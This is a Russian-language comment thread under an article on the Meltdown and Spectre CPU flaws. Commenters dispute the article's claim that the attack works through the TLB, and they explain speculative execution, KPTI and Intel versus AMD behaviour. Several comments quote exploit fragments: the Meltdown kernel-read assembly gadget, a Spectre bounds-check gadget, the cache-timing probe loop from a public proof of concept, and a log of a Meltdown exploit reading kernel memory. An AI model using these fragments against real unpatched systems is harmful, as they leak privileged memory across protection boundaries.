Pull to refresh

Comments 82

«метод был известен в очень узких кругах совершенно не публичных специалистов.»
Угу. Сначала эти серенькие непубличные специалисты деанонимизировали кого-нибудь, а потом уж другие непубличные специалисты в пыточной устраняли сбой программы в голове юзера. Надо же, какой конвейер поломался из-за огласки!
Хороший программист знает как задавать вопросы, не раздражая окружающих, а выдающийся программист знает как отвечать на них без заносчивости © Стивен Хирлстон
Были 2 хорошее статьи на хабре. Но нет, мы выберем плохой перевод и с гонором будем рассказывать где он не прав.
Блок TLB не имеет программного (микропрограммного) управления, как обычный кеш. Из него невозможно удалить запись
Да неужели ?

Остался вопрос — зачем буфер в 2 мегабайта, если 256 страниц по 4Кб занимают один мегабайт?
>> Блок TLB не имеет программного (микропрограммного) управления, как обычный кеш. Из него невозможно удалить запись

> Да неужели?

Вперед и с песней — выполнение этой инструкции из user программы запрещено.
Вперед и с песней — выполнение этой инструкции из user программы запрещено
Это как-то меняет безапелляционность первоначального заявления?
Никак, вы правы. Но инструкция явно ни при чем здесь.
Из user программы запрещено и страницы ядра читать так-то.
Потому что кеш грузится страницей, как я понял принцип очень прост:
В неисполнимой ветке ветвления читаем байт данных и используем его как смещение для 4к страницы, читаем начало страницы, на этом процесс чтения завершен.
Теперь извлекаем данные последовательным чтением первого (нулевого, в общем любого) и измеряем время доступа, на какой странице будет провал, то и есть значение.
Кэш грузится строкой. У разных процессоров она разного размера, но обычно не больше 265 байт. Это определяется шириной шины процессора к памяти и сколько слов DDR тащится за одно обращение и сколько банков памяти.
А у каких процессоров строка не 64 байта?
Cortex-A9 32 байт
Samsung 8890 Кеш инструкций первого уровня в ядре M1 — 128 байт
Разные процессоры POWER / Power PC имеют кеш-строку в 128 байт
IBM System z — 256 байт

Может быть, 2Мб для чтения двух подряд байт — поиск первого значения прогрузит адреса в TLB, сбросить их нельзя (из user space), зато можно взять второй мегабайт и замеряться на нём (новые адреса, не в TLB). Потом вернуться к первому мегабайту, и так по кругу.
В этом случае TLB должен уметь держать отображения для 256 страниц и если положить туда больше, то начать сбрасывать старые записи. Очень странно что это число никак не зависит от модели процессора. Например, у меня d/i TLB может держать только 64 записи, а L2 TLB 1536 записей, как видите ни одно из них не равно 256.
Вы меня конечно извините, но статью вообще удалить надо. Тут даже хуже уровня fake news. Информацию краем уха услышали и 95% содержимого статьи додумали от себя.
Блок TLB не имеет программного (микропрограммного) управления, как обычный кеш. Из него невозможно удалить запись, либо принудительно внести/модифицировать какую-либо запись.
Очень странное заявление. Зачем вы вообще это добавили в статью, если прямым текстом ниже говорите, что сбросить TLB таки можно. Более того, если бы это было нельзя сделать, то мы бы имели на руках другую серьезную проблему, на этот раз связанную с корректностью исполняемых программ.
Все патчи уязвимостей Spectre и Meltdown предложенные производителями ПО это и делают, перезагружая в обработчике исключения GP регистр CR3.
Не просто перегружают, а записывают туда адреса других таблиц страниц. Более того, когда есть возможность TLB стараются сохранить по крайней мере частично (спасибо PCID). Просто сбросить TLB кеш не достаточно (читай бесполезно).
Первым делом нужно в программе создать буфер размером 2 мегабайта, причем в этот буфер нельзя писать/читать до проведения атаки и он должен располагаться на границе 4К блока. Этот размер принципиален, в буфере должны разместиться ровно 256 страниц по 4К (специфика пейджинговой адресации).
Во-первых, размер 2Mb не принципиален (уж не говоря о том, что 256 * 4Kb = 1Mb). 256 страниц нужно только если вы хотите по одному байту сливать за раз, но это не единственно возможный вариант. Во-вторых, если вы не будете ничего писать или читать из этой памяти, то ОС может вообще не создавать отображения для нее, так что при первой проверке вы рискуете измерить Page Fault и ленивую аллокацию для всех страниц, а не просто TLB miss/hit, что будет менее надежно.

Чтобы объяснить почему TLB может быть более важным фактором чем кеш данных, достаточно было оставить комментарий к оригинальной статье указывающий на то, что запись в кеше данных экономит одно обращение к памяти, а запись в TLB 3-4 (на x86 в планах 5), значит и эффект гораздо заметнее. Ваша аггрессия не соответсвует ни объему информации, которую вы собрали в статью, ни точности.
Все операции по манипулировнию TLB доступны только из ядра. Повтор описаного в расчете на задержку TLB практически невозможен.
Это только чать правды, TLB кеш имеет ограниченный размер, так что просто обратившись по достаточно большому количеству других адресов вы его переполните, что даст вам нужный эффект.
С кэшем проще, так как из-за бОльшего размера вероятность, что процесс получения как-то собъется — меньше. И потом, для измерения времени доступа кэша — это доступ из памяти в кэш (довольно долго), а для перегрузки TLB — из кэша в TLB (довольно быстро). Выгнать из TLB еще можно, но прочистить TLB из кэша сложно, надо вытеснять весь кэш, так как адрес таблиц памяти неясен.
Вы говорите про вероятность, покажите пожалуйста как вы эту вероятность считали? Если вы ее не считали, то стоит говорить не «вероятность меньше», а «мне кажется, что так проще».

Далее касательно относительного влияния TLB и кеша данных. Если вы не верите мне на слово, что это возможно, то вот вам статься другого человека: futuretech.blinkenlights.nl/misc/cpumemory.pdf. В разделе «3.3.2 Measurements of Cache Effects» измеряются эффекты различных кешей на скорость доступа к памяти (включая кеши данных и TLB). Конкретно к данному вопросу отношение имеет график 3.12.
Я вообще-то сам мерял, на MIPS-ах, там много меньше, чем 400 циклов. Но теперь понятно, почему Интел такой тормозной на переключении контекстов. Я думал это только на i7 core, но в статье упоминается Core 2…

Насчет вероятности — я трассировал загрузки TLB и число cache miss (опять на MIPS). Число промахов обращения к кэшу конечно много больше, но если поделить числа на размер кэша (1K строк) и на размер массива TLB (64 строки), то обновление конкретной строки кэша случается реже, чем элемента TLB, по крайней мере на Linux/Android.
Частота обновления конкретной строки кеша (какого бы то ни было, TLB или кеша данных) при «нормальной работе Linux/Android» не показатель. Конкретные результаты будут зависеть от нагрузки конкретных приложений, и все что нужно для эксплуатации уязвимости, так это получить достаточно большой квант времени в течении, которого приложение может практиковать любую порнографию практически монопольно забивая кеши данными, что бы добиться нужного эффекта. Не понимаю, как из ваших измерений может следовать невозможность эксплуатации TLB вместо кеша данных.
Вы меня убедили, что возможно. Но я думаю, что на загруженной машине — маловероятно, слишком большой шум от других процессов в TLB. Но может это просто то, что я работал в основном с embedded.

Насчет «получить достаточно большой квант времени» — это зависит от конкретной установки. Если идет трафик по сети, то как-то неочевидно. С другой стороны этот трафик в основном в ядре обрабатываться будет.
Дополнение к вопросу — TLB vs cache: Судя по тому, что для предотвращения meltdown пошли по пути сброса TLB а не кэша, народ тоже считает, что сохранение кэша более важно. Что как бы намекает, что и железячные люди в том же консенсусе и приняли меры к удержанию строчек в кэше ==> обновление конкретной строки кэша случается реже, чем элемента TLB.
Вообще-то TLB как раз пытаются сохранить, просто при обновлении cr3 он сбрасывается полностью, если PCID не включен (или аналогичная фича). Я не знаю, где вы взяли эту информацию, но на код для ядра Linux вы можете посмотреть здесь. Когда PCID доступен его пытаются использовать и избежать полного сброса TLB.
Че-то у нас дискуссия ушла в не очень хорошую сторону — как лучше отхачить, через TLB miss или cache miss. Лекарство то тоже самое, убрать маппинг ядра, поэтому пусть в этот вопрос углубляются инженеры Интела.

Что касается PCID, то это очевидная оптимизация, но не везде и надо смотреть на общий случай если взвешивать др. варианты.

Я еще смотрел на возможность анализировать user код после exception и очищать строку кэша/TLB, но этот вариант, хотя и быстр по части потерь производительности, не пригоден, так как атака будет быстро реверснута — будет поиск очищеной строки кэша или TLB, увы.
В общем выглядит как зависящее от ситуации — если в системе есть что-то, еще работающее, то попытка использовать задержку TLB ненадежна, кэш более устойчив. С другой стороны 400 циклов на перезагрузку TLB элемента конечно дают больше шансов отловить.
al читается значение их ядра ОС, байт!


Читаю и сразу все становится понятно…
Спектр ваш труба шаталъ.
Я думаю автор сам не понимает о чём пишет.

xor eax, eax; eax обнуляется регистр для правильной адресации

Конструкция типа такой делается чтобы сбросить зависимость при частичной записи в регистр, а вовсе не для «правильной адресации» (есть ещё и не правильная?).

xor eax,eax
mov al, [адрес ядра ОС]
Ну, конкретно в приведенном куске далее идут манипуляции с eax при вычислении адреса, так что все верно — он просто обнулил старшую часть регистра. Можно было использовать movzx byte. Это он и имел в виду под «правильной адресацией», наверно. Хоть и косноязычно.
<sarcasm>
Нам пишет настоящий специалист с уникальными, доступными лишь единицам знаниями, прямо из подвалов секретных лабораторий Кей-Джи-Би, специалистам которых давно всё известно, дверь его кабинета уже трещит под ударами прикладов, а вы требуете от него расставлять знаки препинания?!
</sarcasm>
Внезапно неприятно читать оказалось. Автор ставит себя выше других демонстрируя свое превосходство. Таких людей не любят ни в реальности ни в сети. Я бы старался избегать подобного поведения. На Гиктаймс очень толково описана суть, кстати, и автор там нормальный.
Скажите, а это вы — автор статьи www.securitylab.ru/analytics/490642.php? Если да, то ответьте, пожалуйста, на вопросы:

Если из юзерспейса нельзя сбросить TLB, то как гуглерам удалось прочитать полный дамп памяти? На каждый байт создавать массив на 2 мегабайта? Ну пусть даже побитовое чтение, всё равно 8 килобайт на каждый бит — это дофига.

И если дело именно в TLB, то почему работают примеры реализации meltdown, которые используют clflush и переиспользуют один и тот же массив, выделенный единожды?
github.com/gkaindl/meltdown-poc/blob/master/meltdown.c
github.com/paboldin/meltdown-exploit/blob/master/meltdown.c
Все патчи уязвимостей Spectre и Meltdown предложенные производителями ПО это и делают, перезагружая в обработчике исключения GP регистр CR3.

Чего-то я не понял. Во-первых, говорили, что не просто сбрасывается кеш, а полностью удаляется маппинг памяти ядра при выходе в юзерспейс (видимо, оставляя какие-то минимальные трамплины для сисколов и прерываний). Во-вторых, если бы всё ограничивалось обработчиком GP, то никакой потери производительности бы не было, т.к. это очень редкое и исключительное событие (не говоря уже о том, что spectre не вызывает исключения и подобным образом проблемы не решить). В-третьих, в коде PoC фигурировала инструкция clflush, что намекает о том, что авторы всё-таки эксплуатируют кешлайны, а не TLB (ну или может быть совместно и то и другое).
На Интеле перегрузка CR3 приводит к очистке вретрипроцессорного массива TLB, который тоже иногда коротко называют кэшем TLB. Естественно, в CR3 заносят что-то, что не дает маппинга в ядро от пользователя даже если игнорировать биты разрешения/запрета доступа. Это сбивает meltdown логику.

Код PoC использует задержку кэша.
Ну так я об этом и сказал. Хотя в статье совсем другое, судя по всему, автор статьи сам очень слабо понял, о чём речь.
Весьма остроумно, спасибо.
Проблема в блоке TLB, который используется в пейджинговой адресации оперативной памяти. Он является ассоциативным буфером хранящим пары значений виртуальный-физический адрес используемой приложением в оперативной памяти.
Это не Кеш данных….


Проблема не в TLB. А в том что права на доступ к странице проверяются в случае Intel и ARM Cortex-A57 во время retire. При этом кеш-строки грузятся во время спекулятивного выполнения именно в кеш данных.

до проведения атаки и он должен располагаться на границе 4К блока. Этот размер принципиален, в буфере должны разместиться ровно 256 страниц по 4К (специфика пейджинговой адресации).

Никак нет. Вот тут умножение на 256. К TLB-miss это не имеет отношения.

if (untrusted_offset_from_user < arr1->length) {
     unsigned char value = arr1->data[untrusted_offset_from_user];
     unsigned long index2 =((value&1)*0x100)+0x200;
     if (index2 < arr2->length) {
         unsigned char value2 = arr2->data[index2];
     }
 }

developer.arm.com/support/security-update

Все патчи уязвимостей Spectre и Meltdown предложенные производителями ПО это и делают, перезагружая в обработчике исключения GP регистр CR3.

Вы даже не разобрались что делают эти патчи. Они убирают маппинг памяти ядра из пользовательского процесса.

Это уже дело техники, «прозвоним» блок TLB. Для этого нужно по одному разу прочитать все его страницы по 4К, их ровно 256

А ничего что TLB-entries может быть любое количество? Например у Atom-а их всего 16. Что вы там «прозвоните»?

Не ищите этого названия в Интернете, метод был известен в очень узких кругах совершенно не публичных специалистов.


Приобщитесь к тайным знаниям. Никому не давайте ссылку! Это секрет!!!
en.wikipedia.org/wiki/Side-channel_attack

Cache attack — attacks based on attacker's ability to monitor cache accesses made by the victim in a shared physical system as in virtualized environment or a type of cloud service.
Timing attack — attacks based on measuring how much time various computations (such as, say, comparing an attacker's given password with the victim's unknown one) take to perform.

В общем статья из серии «вы все ****, а я — д'Артаньян»
Cortex-A57 -> Cortex-A75, описался.
Мне, кстати, любопытно, что имеется в виду под той самой прозвонкой, про которую «никто не знает, кроме спецов из узких кругов». Имеется ли ввиду сравнение реакции целой и битой схемы на одно и то же воздействие (что позволяет определить неисправность до блока или элемента)?
Так там же подробно написано («Для этого надо»). Измерение времени которое занимают операций чтения из того_самого буфера.
Не, я про то, на что ссылается автор в другой сфере, мне кажется, там про аппаратуру идет речь.
Схема целая, просто время выполнения операции при разных входных данных разное, измеряя это время можно предсказать по какой ветке пошло дальнейшее вычисление, валидность/невалидность входных данных и т.п.
С 4К всё просто — это средство борьбы с префетчером, который может зачитать кешлайны вперёд и всё испортить. Но на Интелах он не читает через границу страницы. Об этом упоминается где-то в оригинальной статье. Так все приплёты пейджинга и TLB — домыслы не очень компетентных людей типа автора этой статьи.
UFO just landed and posted this here
Как я понял Meltdown, это частный случай Spectre

Это 3 разных бага, которые открываются через «одни ворота», т.е. через спекулятивное выполнение.

Variant 1: bounds check bypass (CVE-2017-5753)
Достаём данные через подходящий системный вызов где есть два зависимых чтения сразу после проверки диапазона (см. мой комментарий выше)

Variant 2: branch target injection (CVE-2017-5715)
Заставляем другую программу исполнять код путём тренировки предсказателя ветвлений

Variant 3: rogue data cache load (CVE-2017-5754)
Загрузка с нарушением cross-domain границ, т.е. с нарушением привилегий.
Тут происходит чтение памяти ядра напрямую из пользовательского процесса.

Этот баг специфичен для Intel, Apple и некоторых процессоров ARM.

Извините, но в статье написана примерно неправда, а гонор совершенно не оправдан.
В этом несложно убедиться https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf


--


Проблема не в TLB, а в спекулятивном выполнении с неявным кешированием.


На схеме TLB нарисован не совсем адекватно, точнее очень упрощенно-условно.
TLB также управляет кешированием (noncached, write combine) и конечно работает как при чтении, так и при записи. Поэтому корректней было-бы обозначить его "прокладкой-слоем" вокруг всей подсистемы кеширования.


Тем не менее, промах в TLB дороже промаха в кеше. Проще говоря, TLB-промахи легче заметить и они мешают увидеть кеш-промахи. Что оказывает соответствующее влияние на реализацию атак. Поэтому не 1 мегабайт, а 2.


CR3 перезагружается не для сброса TLB, а для KPTI.
И не только в обработчике исключения, а при каждом переключении user-mode/kernel-mode.
И не против Spectre, а только против Meltdown.
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5aa90a84589282b87666f92b6c3c917c8080a9bf


--


В продолжение темы:
Есть unstable microcode от Intel, можно пробовать лечиться и/или баловаться.


На всякий обращу внимание:
1) Это НЕ официальный и НЕ финальный microcode, выпущенный в конце ноября и начале декабря (Intel в курсе проблем с начала лета).
2) LFENCE в Changelog упоминается в контексте "Spectre variant #2". Тогда как в публикации Intel (по ссылке выше) в контексте "Bounds Check Bypass Mitigation", т.е. "Spectre variant #1".


Отсюда напрашивается предположения:


  • либо в Changelog очепятка (2 вместо 1) и на разных моделях было отличие в поведении LFENCE, которое исправлено в этом микрокоде;
  • либо поведение LFENCE всё-таки имеет какой-то эффект на "Spectre variant #2", но в публикации Intel это упустили в спешке.

Changelog:
2018-01-04 — Henrique de Moraes Holschuh hmh@debian.org
intel-microcode (3.20171215.1) unstable; urgency=high


  • Add supplementary-ucode-CVE-2017-5715.d/: (closes: #886367)
    New upstream microcodes to partially address CVE-2017-5715
  • Updated Microcodes:
    sig 0x000306c3, pf_mask 0x32, 2017-11-20, rev 0x0023, size 23552
    sig 0x000306d4, pf_mask 0xc0, 2017-11-17, rev 0x0028, size 18432
    sig 0x000306f2, pf_mask 0x6f, 2017-11-17, rev 0x003b, size 33792
    sig 0x00040651, pf_mask 0x72, 2017-11-20, rev 0x0021, size 22528
    sig 0x000406e3, pf_mask 0xc0, 2017-11-16, rev 0x00c2, size 99328
    sig 0x000406f1, pf_mask 0xef, 2017-11-18, rev 0xb000025, size 27648
    sig 0x00050654, pf_mask 0xb7, 2017-11-21, rev 0x200003a, size 27648
    sig 0x000506c9, pf_mask 0x03, 2017-11-22, rev 0x002e, size 16384
    sig 0x000806e9, pf_mask 0xc0, 2017-12-03, rev 0x007c, size 98304
    sig 0x000906e9, pf_mask 0x2a, 2017-12-03, rev 0x007c, size 98304
  • Implements IBRS and IBPB support via new MSR (Spectre variant 2
    mitigation, indirect branches). Support is exposed through cpuid(7).EDX.
  • LFENCE terminates all previous instructions (Spectre variant 2
    mitigation, conditional branches).

https://debian.pkgs.org/sid/debian-nonfree-amd64/intel-microcode_3.20171215.1_amd64.deb.html

Возникает вопрос. Если уязъвимость была известна давно (как утверждает автор), то почему ничего не делалось для её устранения на аппаратном уровне производителями процессоров? И не является ли этот факт (если он соответствует действительности) хорошим основанием для подачи исков к последним?
И не является ли этот факт (если он соответствует действительности) хорошим основанием для подачи исков к последним?

Вопрос серьезный.
Ведь полно, просто хоть лопатой греби, старых ЭВМ, втч управляющих, процессоры для которых никто не будет перевыпускать. Заменить можно только с заменой самой аппаратуры. Денег потеряно будет в ближайшее время — просто моря.
Смотря что именно вы имеете в виду под уязвимостью. FLUSH+RELOAD — способ передачи данных через наличие/отсутствие закешированных линий был опубликован как минимум в 2014 году на USENIX, возможно и раньше где-то про него говорили. Автор тут про TLB распинается, но суть примерно та же. Свежее в Meltdown-Spectre — это эксплуатация спекулятивного исполнения кода и отравление предсказателя переходов.
twitter.com/aionescu/status/949160016124129280
@FPiednoel (бывший интеловский специалист по анализу производительности):
The entire computer science community was unaware of those side effects, in all honest science.
Those blaming have very little understanding about how science work,it is a very regrettable happening,
but as every science, there are discoveries that open the eyes of the scientists.
Ребята, объясните пожалуйста особенности современного процессоростроения. Вот этот код:
; rcx = kernel address
; rbx = probe array
retry:
mov al, byte [rcx]
shl rax, 0xc
jz retry
mov rbx, qword [rbx + rax]
Я понимаю, но не понимаю, откуда взядась уязвимость.
В первой строке мы читаем защищенную область памяти. Возникает исключение. Если память оказалась не в кэше, сколько надо времени, что бы действительно получить данные? Разве этого не достаточно для обработки исключения?
Даже если исключение обрабатывается на этапе retire, разве команда mov не должна пройти весь конвеер(в том числе и retire) перед тем как начнет выполнятся команда shl? Ведь shl использует результат выполнения команды mov — они просто не могут выполнятся параллельно. Тоже самое и с последней командой mov — да, она может выполнятся спекулятивно вместе с командой перехода, но ведь перед этим должна отработать команда shl что бы использовать её результат. Неужели отработки двух команд недостаточно для обработки исключения?
Или передача результата от mov к shl, а потом опять к mov происходит внутри еще до того как все команды попадут на retire и выход?
Смысл в том, что это всё исполняется спекулятивно. Т.е. сначала процессор выполнит чтение и даже shl. И даже «mov rbx, qword [rbx + rax]» выполнит И только когда-то потом прилетит исключение (когда реальная точки исполнения догонит спекулятивное выполнение команд). Результат в ax, ясен перец не будет, т.к. результат будет отброшен из-за того, что предсказанная ветка исполнения оказалась ложной (была прервана исключением). Но из-за того, что спекулятивно было выполнено «mov rbx, qword [rbx + rax]», закешируется определённая страница буфера, которая будет читаться быстрее.
И тогда, уже позже (и даже из другого потока), мы можем спокойно измерить скорость чтения всех страниц нашего буфера — страница, которая прочитается быстрее и будет соответствовать прочитанному байту.
Каждому значению байта соответствует своя страница. Теоретически можно было бы и меньше буфер сделать — по одной строке кэша на каждое значение, но скорость доступа к кэшу очень непостоянна — трудно уловить разницу между «горячим» (находящимся к кэше) и «холодным» значением. А, вот, из-за кэша TLB (в частности) поймать разницу между страницей, к которой обращаются впервые и которой уже обращались гораздо легче.
Если к странице уже обращались, то TLB преобразует адрес мгновенно. А если если нет, то произойдёт преобразование с чтением иерархии таблиц и вычислением адреса. Да, ещё и обычный кэш данных всё это время будет стоять и ждать результата. Если правильно код написать, так и вообще, большая часть конвейера остановится на всё это время. В результате разница по времени для чтения новой и известной страниц будет отличаться в десятки раз (можно и до сотни, наверное, накрутить если завязать на ошибки предсказания ветвлений и заставить процессор выполнять «штрафные» такты и сброс ковейера) — легко засечь таймерами и счётчиками производительности процессора процессора.
Т.е. у Intel ошибка доступа не останавливает конвейер исполнения и будет отработана тогда, когда очередь дойдёт до команды, её вызвавшей.Процессор успевает ещё несколько команды выполнить при правильно написанном коде.
А у AMD ошибка доступа (даже спекулятивная) прерывает исполнение команд на конвейере. Поэтому дальше «mov al, byte [rcx]» выполнение не пойдёт (ну, может быть, выполнится ещё «shl rax, 0xc» за счёт всяких побочных эффектов, но это ничего не даёт).
Откуда информация, что AMD себя так ведут?
Я видел это заявление AMD, но это заявление мало что реально объясняет. Было бы неплохо, если бы все начали свои догадки предъявлять как догадки, а не как факты, но да ладно.
Ну вы же понимаете, официальные факты тут может предъявлять только AMD. Если бы я работал сегодня в AMD, то молчал бы сейчас как рыба и ссылался на этот statement в лучшем случае :)
Это было написано в мануалах. Точный алгоритм неизвестен, но сам принцип упоминается (я видел для интела, судя по комментариям умных людей у AMD о таком поведнии тоже было известно до обнаружения уязвимости). Кроме того, это можно проверить. Что, собственно, и сделали все желающие — на AMD исключения не позволяют продолжить спекулятивное исполнение.
Ещё интересно, что архитектура AMD, похоже, позволяет лучше патчить подобные каки микрокодом (в силу больше «прозрачности» и предсказуемости алгоритмов оптимизации — моё ИМХО).
И вы можете дать ссылку на этот манул? И что вы подразумеваете под точным алгоритмом и принипом?
Мануалы на интеловские процессоры и вы и сами без труда найдёте. Там в том числе в общих словах написано, как работает предвыборка и спекулятивное исполнение и как обрабатываются исключения — это важно для оптимизации компиляторов. Под точным алгоритмом я подразумеваю то, что в мануалах написано лишь наблюдаемое поведение процессора, но обычно не описаны сами алгоритмы и причины. Т.е. написано, как выполняется спекулятивное исполнение, в некоторых случаях описано, как на это влияют исключения (сброс конвейера, штрафные такты и т.п.), в некоторых случаях описано, как и когда возникают исключения (например, они могут возникать в результате упреждающего чтения и это важно). Но не написано почему и какова точная реализация.
На «старые» ядра есть очень подробные описания. Под новые что-то может быть под NDA, я довольно давно за этим не слежу и интересуюсь по столько по скольку.
А причем тут интеловские процессоры? Я специально спросил про остановку пайплана на AMD процессорах. Очень странно вы аргументируете свою позицию. Вы сделали вполне конкретное утверждение о том, что процессоры AMD прерывают работу команд на конвеере, а привести ссылку на документацию не можете. Правда ли есть доступная документация описывающее это или вам просто кажется, что это так?
Лично я видел только документацию Интел и там такие нюансы были. После начала всей этой истории я смотрел форумы ядро писателей и видел там цитаты от AMD. Мне этого показалось достаточно.
Проверять лично по документации AMD мне не захотелось (зачем?), достаточно того, что это уже не раз было проверено экспериментально и показало, что при возникновении исключений у AMD продолжения спекулятивного исполнения команд и обращения к памяти не происходит (можно даже прямо вот этим же эксплоитом проверить).
Вы считаете, что AMD врёт?
Я не считаю, что AMD врет, как и не считаю, что они говорят правду. На данный момент у меня не достаточно информации чтобы утверждать ни то ни другое.

Но то что какой-то конкретный код не работает на AMD, не объясняет почему он не работает и не может быть доказательством. Причина может быть в том, что они сбрасывают конвеер, а может и быть и в чем-то другом, а может оказаться и так, что на самом деле у них там такая же или похожая проблема, просто ловить ее нужно чуть по-другому.

И тут появляетесь вы с вполне конкретными деталями поведения процессоров AMD, только вот когда вам начинауют вопросы задавать начинаете «я где-то слышал», «другие уже проверяли зачем я буду», «ядро писатели», «цитаты от AMD», при этом без единой ссылки (ладно вы не проверяли, но те кому нужно могут обратиться к оригинальному источнику информации, если бы ссылки присутсвовали).

Наконец, мой оригинальный вопрос касался конкретного поведения AMD, которое вы выдаете за факт, а меня вы читать отправили документацию к Intel. Чтобы я там нашел что? Поведение процессоров AMD? Очень сомнительно ваши аргументы выглядят.
Ну не получите вы этой информации, пока не подпишите с ними NDA. И то не факт, что расскажут.

Вы уж извините, год назад могли рассказать, а теперь это вопрос сильно крут с точки зрения денег.

Я могу предложить несколько вариантов, почему это у AMD не срабатывает, но в текущей ситуации просто придется принять к сведению — «не работает».
Тут пытались заявить, что в документации это упоминается, что какие-то «лица» от AMD это упоминали на каких-то формуах и что кто-то это проверял. Все что я спросил, так это ссылки, для проверки этих ссылок я могу обойтись без NDA.
Цитата Tom Lendacky (a member of the Linux OS group at AMD): "The AMD microarchitecture
does not allow memory references, including speculative references, that
access higher privileged data when running in a lesser privileged mode
when that access would result in a page fault.
"
Либо AMD врёт, либо AMD проверяет права доступа ring0/ring3 при спекулятивном чтении. Что характерно, это не означает, что не возможно организовать атаку, читающую области памяти с равными привилегиями (что, к счастью, намного менее страшно для нынешних ОС, т.к. адресные пространства данных процессов не пересекаются).
Специально для Вас из манула по оптимизации от Интел:
Implicit caching occurs when a memory element is made potentially cacheable, although the element may never have been accessed in the normal von Neumann sequence. Implicit caching occurs on the P6 and more recent processor families due to aggressive prefetching, branch prediction, and TLB miss handling. Implicit caching is an extension of the behavior of existing Intel386, Intel486, and Pentium processor systems, since software running on these processor families also has not been able to deterministically predict the behavior of instruction prefetch.
У AMD такого сурового текста в мануалах нет. Тут трудно предъявить то, чего нет. Так что или AMD врёт, или AMD не знает, как работают её процессоры, или они действительно не подвержены уязвимости. Возможно я найду писание того, в чём там принципиальная архитектурная разница (я забыл термин, если вспомню сейчас, то напишу).
Даже старый добрый Pentium M выполнял до шести операций «за такт». Т.е. спекулятивно. Современные процессоры, и подавно, исполняют от девяти и больше.
У нас же тут только пять инструкций. Потому и уязвимы вообще все интелы, начиная со времён царя Гороха.
Spectre и без TLB прекрасно обходится. Вот рабочий пример. Как уже отмечали, 4Кб на байт выбрано, чтобы предвыборка не переходила границу страницы. В примере обходятся 512 байтами на каждый байт, а для обмана предвыборки кеш тестируют в псевдослучайном порядке
    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++)
    {
        mix_i = ((i * 167) + 13) & 255;
        addr = &array2[mix_i * 512];
        time1 = __rdtscp(&junk);            /* READ TIMER */
        junk = *addr;                       /* MEMORY ACCESS TO TIME */
        time2 = __rdtscp(&junk) - time1;    /* READ TIMER & COMPUTE ELAPSED TIME */
        if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++;               /* cache hit - add +1 to score for this value */
    }
Это более процессоро- и архитектурно-зависимо.
За кадром остался один интересный вопрос: зачем нужен цикл? В оригинальном PDF объяснение очень мутное.
Нулевая страница буфера может быть закэширована в силу различных причин.
Скорее всего, они непосредственно перед выполнением вот этого всего специально читают первую страницу буфера.
Например, чтобы«погреть» все предыдущие (требуемым) уровни кэша TLB. Таблицы-то каскадные, плюс, там чёртова куча уровеней виртуализации может быть ещё наложена. И первое обращение к буферу получится ложно-положительным. Нам же нужно измерять только самый «последний» уровень.
А ещё, может быть, чтобы ОС физически выделила память.
А ещё процессор (с подачи ОС) может выполнить упреждающий «прогрев» кэша TLB (там и такое есть, но не уверен, в каком случае).
Это уже совсем ОС- и процессоро-зависимо.
Поэтому прогревают всё, кроме самих страниц. Но в результате нулевая страница «испорчена», и нулевое значение приходится отдельно обрабатывать.
Проверка на ноль самая «быстрая».
Поэтому в случае нулевого значения они вообще не обращаются к буферу, т.к. это бесполезно. В результате нулевому байту будет соответствовать ситуация когда «горячих» страниц в буфере вообще нет (нулевая страница не проверяется никогда).

Я сейчас точно не палю уязвимость раньше времени?
P.S. Ищу удалённую работу.
В силу каких причин? Они явно говорят, что буфер не закэширован, ни слова про какие-то исключения для первой страницы (цитата: "We allocate a probe array in memory and ensure that no part of this array is cached."). ОС тут точно не при делах, потому что буфер больше одной страницы.
Интересно тут другое, они утверждают, что в случае исключения, процессор зануляет регистры, в которые читают, чтобы значения не были доступны в крэшдампе. Вот здесь вся соль: "If the zeroing out of the register is faster than the execution of the subsequent instruction, the attacker may read a false value in the third step.". «Если обнуление быстрее», то есть может быть быстрее, а может быть и не быстрее. При этом две эти команды зависят друг от друга. Может быть там race condition совсем в другом месте, и не там, где кажется?
Может быть и так. Но прогревать буфер все равно нужно.
Дружище, если ты такой умный, то постарайся объяснить, почему Meltdown неплохо работает и с 256-байтными кусками, тогда как TLB кеш оперирует как минимум 4096-байтными.

Исходный код Meltdown:
pastebin.com/juzJ0Y1E

Лог:
usr@lnx:~/meltdown-exploit-master$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.9.0-5-amd64 root=UUID=acbffb90-bf4d-46d1-ad1f-ecfde3523f8b ro quiet nopti

usr@lnx:~/meltdown-exploit-master$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
TARGET_SIZE = 256
VARIANTS_READ = 256
cached = 47, uncached = 194, threshold 95

addr ffffffff8c400060 hist[00] = 9
addr ffffffff8c400060 hist[0b] = 3
addr ffffffff8c400060 hist[1b] = 3
addr ffffffff8c400060 hist[25] = 1884
addr ffffffff8c400060 hist[26] = 1839
addr ffffffff8c400060 hist[2b] = 1
addr ffffffff8c400060 hist[4b] = 1
addr ffffffff8c400060 hist[bb] = 4
addr ffffffff8c400060 hist[e4] = 1
addr ffffffff8c400060 hist[eb] = 1
addr ffffffff8c400060 hist[fb] = 39
read ffffffff8c400060 = 25 %

addr ffffffff8c400061 hist[00] = 13
addr ffffffff8c400061 hist[01] = 2
addr ffffffff8c400061 hist[05] = 3
addr ffffffff8c400061 hist[1b] = 1
addr ffffffff8c400061 hist[2b] = 1
addr ffffffff8c400061 hist[73] = 1857
addr ffffffff8c400061 hist[74] = 1801
addr ffffffff8c400061 hist[8b] = 3
addr ffffffff8c400061 hist[ad] = 1
addr ffffffff8c400061 hist[bb] = 3
addr ffffffff8c400061 hist[db] = 3
addr ffffffff8c400061 hist[eb] = 2
addr ffffffff8c400061 hist[fb] = 51
read ffffffff8c400061 = 73 s

addr ffffffff8c400062 hist[00] = 11
addr ffffffff8c400062 hist[01] = 4
addr ffffffff8c400062 hist[03] = 1
addr ffffffff8c400062 hist[05] = 1
addr ffffffff8c400062 hist[0b] = 1
addr ffffffff8c400062 hist[1b] = 1
addr ffffffff8c400062 hist[20] = 1798
addr ffffffff8c400062 hist[24] = 1769
addr ffffffff8c400062 hist[2b] = 2
addr ffffffff8c400062 hist[3b] = 2
addr ffffffff8c400062 hist[7b] = 1
addr ffffffff8c400062 hist[8b] = 1
addr ffffffff8c400062 hist[9b] = 1
